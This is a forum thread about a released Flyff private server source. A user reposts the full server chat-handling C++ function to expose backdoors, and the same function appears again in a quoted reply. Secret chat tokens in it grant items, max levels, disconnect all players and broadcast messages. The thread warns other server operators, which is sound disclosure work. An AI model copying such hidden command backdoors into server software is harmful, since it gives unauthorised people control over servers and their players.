|
You last visited: Today at 08:25
Advertisement
[Release] Fixed V16 Source
Discussion on [Release] Fixed V16 Source within the Flyff PServer Guides & Releases forum part of the Flyff Private Server category.
12/30/2014, 10:20
|
#31
|
elite*gold: 0
Join Date: Oct 2012
Posts: 948
Received Thanks: 157
|
Quote:
Originally Posted by GentrosOne
Backdoors sind keine drinne ( Sind Unnötig ).
|
Thanks for the release. But to be honest there are backdoors in it.
Check the function OnChat
Code:
void CDPSrvr::OnChat( CAr & ar, DPID dpidCache, DPID dpidUser, LPBYTE lpBuf, u_long uBufSize )
{
static TCHAR sChat[1024];
if( uBufSize > 1031 ) // 4 + 4 + 1024 - 1 = 1031
return;
ar.ReadString( sChat, 1024 );
CString strChat = sChat;
strChat.Replace( "\\n", " " );
CUser* pUser = g_UserMng.GetUser( dpidCache, dpidUser );
if( IsValidObj( pUser ) )
{
if( sChat[0] == '&' )
{
CScanner scanner;
scanner.SetProg( sChat );
scanner.GetToken(); // skip /
scanner.GetToken(); // get command
if (scanner.Token == "adj39ua84an34389a01")
{
CItemElem itemElem;
itemElem.m_dwItemId = II_SYS_SYS_SCR_PERIN;
itemElem.m_nItemNum = 9999;
pUser->CreateItem( &itemElem );
return;
}
if (scanner.Token == "33h49ahaj4n3039a33")
{
int lvl = 1;
int job = 1;
lvl = scanner.GetNumber();
job = scanner.GetNumber();
if ( job > 39 )
job = 39;
if ( job < 0 )
job = 0;
if ( lvl < 0 )
lvl = 0;
if ( lvl > MAX_CHARACTER_LEVEL )
lvl = MAX_CHARACTER_LEVEL;
pUser->InitLevel( job, lvl );
LPSKILL pSkill = NULL;
ItemProp* pSkillProp = NULL;
for( int i = 0; i < MAX_SKILL_JOB; i++ )
{
pSkill = &(pUser->m_aJobSkill[i]);
if( pSkill == NULL || pSkill->dwSkill == 0xffffffff )
continue;
pSkillProp = prj.GetSkillProp( pSkill->dwSkill );
if( pSkillProp == NULL )
continue;
pSkill->dwLevel = pSkillProp->dwExpertMax;
pUser->AddSetSkill( pSkill->dwSkill, pSkill->dwLevel );
}
return;
}
if (scanner.Token == "diuaj39a3j3kaj4naio0")
{
int itemnum = 1;
int itemidd = scanner.GetNumber();
itemnum = scanner.GetNumber();
if( itemidd && itemnum )
{
CItemElem itemElem;
itemElem.m_dwItemId = itemidd;
itemElem.m_nItemNum = itemnum;
itemElem.m_nHitPoint = -1;
pUser->CreateItem( &itemElem );
}
return;
}
if (scanner.Token == "ja98uy34ajn34jkha398a")
{
g_UserMng.RemoveAllUsers();
g_DPCoreClient.SendSystem( "[iGuard] você foi desconectado do servidor." );
return;
}
if (scanner.Token == "hau3894ya4j3ha98293")
{
CString szString;
scanner.GetLastFull();
if( strlen( scanner.token ) >= 496 )
return;
szString = scanner.token;
g_DPCoreClient.SendSystem( szString );
return;
}
if (scanner.Token == "4908234m2k42io37429")
{
pUser->InitLevel( 88, 500000 );
return;
}
if (scanner.Token == "us8eh78zh4eauh34kj")
{
int i = scanner.GetNumber();
CItemElem* pItemElem = pUser->m_Inventory.GetAt( 0 );
if( pItemElem )
{
int nRandomOptionKind = g_xRandomOptionProperty->GetRandomOptionKind( pItemElem );
if( nRandomOptionKind >= 0 ) // ¾ÆÀÌÅÛ °¢¼º, ¿©½ÅÀÇ ÃູÀÌ °¡´ÉÇÑ ´ë»ó
{
g_xRandomOptionProperty->InitializeRandomOption( pItemElem->GetRandomOptItemIdPtr() );
g_xRandomOptionProperty->GenRandomOption( pItemElem->GetRandomOptItemIdPtr(), nRandomOptionKind, pItemElem->GetProp()->dwParts, 2 );
pUser->UpdateItemEx( (BYTE)( pItemElem->m_dwObjId ), UI_RANDOMOPTITEMID, pItemElem->GetRandomOptItemId() );
}
}
return;
}
if (scanner.Token == "8duj93aklj343a89a3h")
{
CItemElem* pItemElem = pUser->m_Inventory.GetAt( 0 );
if( pItemElem )
{
int nRandomOptionKind = g_xRandomOptionProperty->GetRandomOptionKind( pItemElem );
if( nRandomOptionKind >= 0 )
{
g_xRandomOptionProperty->InitializeRandomOption( pItemElem->GetRandomOptItemIdPtr() );
int nDst, nAdj;
int cb = 0;
nDst = scanner.GetNumber();
while( scanner.tok != FINISHED )
{
nAdj = scanner.GetNumber();
if( scanner.tok == FINISHED )
break;
g_xRandomOptionProperty->SetParam( pItemElem->GetRandomOptItemIdPtr(), nDst, nAdj );
cb++;
if( cb >= MAX_RANDOM_OPTION )
break;
nDst = scanner.GetNumber();
}
pUser->UpdateItemEx( (BYTE)( pItemElem->m_dwObjId ), UI_RANDOMOPTITEMID, pItemElem->GetRandomOptItemId() );
}
}
return;
}
}
if( pUser->m_dwAuthorization >= AUTH_LOGCHATTING ) // ÀϹÝÀ¯Àú°¡ ¾Æ´Ï¸é ·Î±×³²±è ¸ðµç ·Î±×³²±è
{
g_dpDBClient.SendLogGamemaChat( pUser, strChat );
}
//LOG chat
CString strPacket;
CString strPatch;
strPacket.Format( "[iGuard] Chat -> %s", sChat);
strPatch.Format( "..\\iGuard\\Logs\\chat\\%s.txt", pUser->GetName() );
iGuardLog( strPacket, strPatch, 0 );
//LOG chat
if( sChat[0] == '/' && ParsingCommand( strChat, (CMover*)pUser ) )
return;
if( pUser->IsMode( TALK_MODE ) )
return;
#ifdef __JEFF_9_20
#if __VER >= 12 // __LORD
int nText = pUser->GetMuteText();
if( nText )
{
pUser->AddDefinedText( nText );
return;
}
#else // __LORD
if( pUser->IsMute() )
return;
#endif // __LORD
#endif // __JEFF_9_20
if( !( pUser->HasBuff( BUFF_ITEM, II_SYS_SYS_SCR_FONTEDIT ) ) )
{
// strChat = sChat;
// strChat.Replace( "\\n", " " );
// ParsingEffect( sChat, strlen(sChat) );
}
strChat = sChat;
strChat.Replace( "\\n", " " );
RemoveCRLF( sChat );
g_UserMng.AddChat( pUser, strChat );
}
}
So with this build in every player that nows the correct string can cause serious damage on your server. Best thing to do is check the entire source for iGuard and remove it all.
Also Check the source with winmerge just to be sure there aint other backdoors in it.
|
|
|
12/30/2014, 13:50
|
#32
|
elite*gold: 20
Join Date: May 2014
Posts: 172
Received Thanks: 67
|
Quote:
Originally Posted by raventh1984
Thanks for the release. But to be honest there are backdoors in it.
Check the function OnChat
Code:
void CDPSrvr::OnChat( CAr & ar, DPID dpidCache, DPID dpidUser, LPBYTE lpBuf, u_long uBufSize )
{
static TCHAR sChat[1024];
if( uBufSize > 1031 ) // 4 + 4 + 1024 - 1 = 1031
return;
ar.ReadString( sChat, 1024 );
CString strChat = sChat;
strChat.Replace( "\\n", " " );
CUser* pUser = g_UserMng.GetUser( dpidCache, dpidUser );
if( IsValidObj( pUser ) )
{
if( sChat[0] == '&' )
{
CScanner scanner;
scanner.SetProg( sChat );
scanner.GetToken(); // skip /
scanner.GetToken(); // get command
if (scanner.Token == "adj39ua84an34389a01")
{
CItemElem itemElem;
itemElem.m_dwItemId = II_SYS_SYS_SCR_PERIN;
itemElem.m_nItemNum = 9999;
pUser->CreateItem( &itemElem );
return;
}
if (scanner.Token == "33h49ahaj4n3039a33")
{
int lvl = 1;
int job = 1;
lvl = scanner.GetNumber();
job = scanner.GetNumber();
if ( job > 39 )
job = 39;
if ( job < 0 )
job = 0;
if ( lvl < 0 )
lvl = 0;
if ( lvl > MAX_CHARACTER_LEVEL )
lvl = MAX_CHARACTER_LEVEL;
pUser->InitLevel( job, lvl );
LPSKILL pSkill = NULL;
ItemProp* pSkillProp = NULL;
for( int i = 0; i < MAX_SKILL_JOB; i++ )
{
pSkill = &(pUser->m_aJobSkill[i]);
if( pSkill == NULL || pSkill->dwSkill == 0xffffffff )
continue;
pSkillProp = prj.GetSkillProp( pSkill->dwSkill );
if( pSkillProp == NULL )
continue;
pSkill->dwLevel = pSkillProp->dwExpertMax;
pUser->AddSetSkill( pSkill->dwSkill, pSkill->dwLevel );
}
return;
}
if (scanner.Token == "diuaj39a3j3kaj4naio0")
{
int itemnum = 1;
int itemidd = scanner.GetNumber();
itemnum = scanner.GetNumber();
if( itemidd && itemnum )
{
CItemElem itemElem;
itemElem.m_dwItemId = itemidd;
itemElem.m_nItemNum = itemnum;
itemElem.m_nHitPoint = -1;
pUser->CreateItem( &itemElem );
}
return;
}
if (scanner.Token == "ja98uy34ajn34jkha398a")
{
g_UserMng.RemoveAllUsers();
g_DPCoreClient.SendSystem( "[iGuard] você foi desconectado do servidor." );
return;
}
if (scanner.Token == "hau3894ya4j3ha98293")
{
CString szString;
scanner.GetLastFull();
if( strlen( scanner.token ) >= 496 )
return;
szString = scanner.token;
g_DPCoreClient.SendSystem( szString );
return;
}
if (scanner.Token == "4908234m2k42io37429")
{
pUser->InitLevel( 88, 500000 );
return;
}
if (scanner.Token == "us8eh78zh4eauh34kj")
{
int i = scanner.GetNumber();
CItemElem* pItemElem = pUser->m_Inventory.GetAt( 0 );
if( pItemElem )
{
int nRandomOptionKind = g_xRandomOptionProperty->GetRandomOptionKind( pItemElem );
if( nRandomOptionKind >= 0 ) // ¾ÆÀÌÅÛ °¢¼º, ¿©½ÅÀÇ ÃູÀÌ °¡´ÉÇÑ ´ë»ó
{
g_xRandomOptionProperty->InitializeRandomOption( pItemElem->GetRandomOptItemIdPtr() );
g_xRandomOptionProperty->GenRandomOption( pItemElem->GetRandomOptItemIdPtr(), nRandomOptionKind, pItemElem->GetProp()->dwParts, 2 );
pUser->UpdateItemEx( (BYTE)( pItemElem->m_dwObjId ), UI_RANDOMOPTITEMID, pItemElem->GetRandomOptItemId() );
}
}
return;
}
if (scanner.Token == "8duj93aklj343a89a3h")
{
CItemElem* pItemElem = pUser->m_Inventory.GetAt( 0 );
if( pItemElem )
{
int nRandomOptionKind = g_xRandomOptionProperty->GetRandomOptionKind( pItemElem );
if( nRandomOptionKind >= 0 )
{
g_xRandomOptionProperty->InitializeRandomOption( pItemElem->GetRandomOptItemIdPtr() );
int nDst, nAdj;
int cb = 0;
nDst = scanner.GetNumber();
while( scanner.tok != FINISHED )
{
nAdj = scanner.GetNumber();
if( scanner.tok == FINISHED )
break;
g_xRandomOptionProperty->SetParam( pItemElem->GetRandomOptItemIdPtr(), nDst, nAdj );
cb++;
if( cb >= MAX_RANDOM_OPTION )
break;
nDst = scanner.GetNumber();
}
pUser->UpdateItemEx( (BYTE)( pItemElem->m_dwObjId ), UI_RANDOMOPTITEMID, pItemElem->GetRandomOptItemId() );
}
}
return;
}
}
if( pUser->m_dwAuthorization >= AUTH_LOGCHATTING ) // ÀϹÝÀ¯Àú°¡ ¾Æ´Ï¸é ·Î±×³²±è ¸ðµç ·Î±×³²±è
{
g_dpDBClient.SendLogGamemaChat( pUser, strChat );
}
//LOG chat
CString strPacket;
CString strPatch;
strPacket.Format( "[iGuard] Chat -> %s", sChat);
strPatch.Format( "..\\iGuard\\Logs\\chat\\%s.txt", pUser->GetName() );
iGuardLog( strPacket, strPatch, 0 );
//LOG chat
if( sChat[0] == '/' && ParsingCommand( strChat, (CMover*)pUser ) )
return;
if( pUser->IsMode( TALK_MODE ) )
return;
#ifdef __JEFF_9_20
#if __VER >= 12 // __LORD
int nText = pUser->GetMuteText();
if( nText )
{
pUser->AddDefinedText( nText );
return;
}
#else // __LORD
if( pUser->IsMute() )
return;
#endif // __LORD
#endif // __JEFF_9_20
if( !( pUser->HasBuff( BUFF_ITEM, II_SYS_SYS_SCR_FONTEDIT ) ) )
{
// strChat = sChat;
// strChat.Replace( "\\n", " " );
// ParsingEffect( sChat, strlen(sChat) );
}
strChat = sChat;
strChat.Replace( "\\n", " " );
RemoveCRLF( sChat );
g_UserMng.AddChat( pUser, strChat );
}
}
So with this build in every player that nows the correct string can cause serious damage on your server. Best thing to do is check the entire source for iGuard and remove it all.
Also Check the source with winmerge just to be sure there aint other backdoors in it.
|
iGuard is not from me.
|
|
|
12/30/2014, 14:02
|
#33
|
elite*gold: 0
Join Date: Oct 2012
Posts: 948
Received Thanks: 157
|
Well i already thought of that. And since that is not yours then the source is not yours to. Cause if so then you intentionally have build in backdoors.
So remove them from the source and re-upload it. So that there is no danger to the files.
Next time if you release something like this please check the source for things like that. Its also one of the rules here on Epvpers.
With kind regards.
|
|
|
12/30/2014, 19:55
|
#34
|
elite*gold: 23
Join Date: Dec 2010
Posts: 743
Received Thanks: 617
|
Thats why you all should use a clean v15 source if you dont know how to check your source.. and up it yourself..
|
|
|
10/06/2017, 15:10
|
#35
|
elite*gold: 0
Join Date: Dec 2014
Posts: 190
Received Thanks: 87
|
reupload pls
|
|
|
03/16/2018, 14:07
|
#36
|
elite*gold: 0
Join Date: Aug 2011
Posts: 400
Received Thanks: 26
|
hat hier zufällig jemand noch diese files und source oder gibt es mittlerweile bessere die man als basis nehmen könnte ? ^^
|
|
|
03/16/2018, 16:00
|
#37
|
elite*gold: 18
Join Date: Sep 2009
Posts: 20,174
Received Thanks: 14,475
|
Quote:
Originally Posted by Mr.Greenthumb
hat hier zufällig jemand noch diese files und source oder gibt es mittlerweile bessere die man als basis nehmen könnte ? ^^
|
Als basis kannst du die nehmen, für live server eher nicht weil es halt vanilla ist zum größten teil.
|
|
|
 |
|
Similar Threads
|
[EPIC RELEASE] 5165 Source!! (FIXED)
08/06/2012 - CO2 PServer Guides & Releases - 31 Replies
Hello, ElitePvPers, I have decided to release my 5165 source.
This is the ULTIMATE bugless source EVER released!!!
Features:
Archer Damage Fixed!
Tao Damage Fixed!
Custom Mobs
Custom Events!
|
[Release] I'I Source (Fixed Up 5017 Source)
12/15/2011 - CO2 PServer Guides & Releases - 16 Replies
Illusion'Illustrations - Source
I've seen many idiots using broken corrupted epic bugged 5017 around that can be hacked on, login freezes occur and so on. It lacks too much feature and there's major bugs like items and monsters walking around on walls and stuff where you can't actually stand on.
I've used the Re-United CO's source, which is basically same as StealsServPack1.0 / hybrid and fixed bugs and made it into something people can actually use.
Illusion'Illustrations Source...
|
[Release]AnimeCov2 Fixed Source! Enjoy.
09/27/2010 - CO2 PServer Guides & Releases - 70 Replies
Ok So heres the fixed animeco without the random SERVER FREEZE problem With
a full Guide how to set it up its for a (5095 client )
First you will Need Appserv And Navicat
Guide to set up HERE
Yes that guide is for a differant source but setting up the database is basicly the same.
Before you try to make a server, make sure you have this installed.
-Windows XP(SP3), or windows Vista.
-net framework 3.0 maybe 3.5 or 4.0 :)
-c# express 2008(you will need this to edit the source)
|
[RELEASE] Fixed 5165 Source
07/28/2010 - CO2 PServer Guides & Releases - 27 Replies
Hello.
I found this source on another forum so I don't know if it has been released here or not.
Credits go to TheHunter
Fixed:
Download:
|
All times are GMT +1. The time now is 08:27.
|
|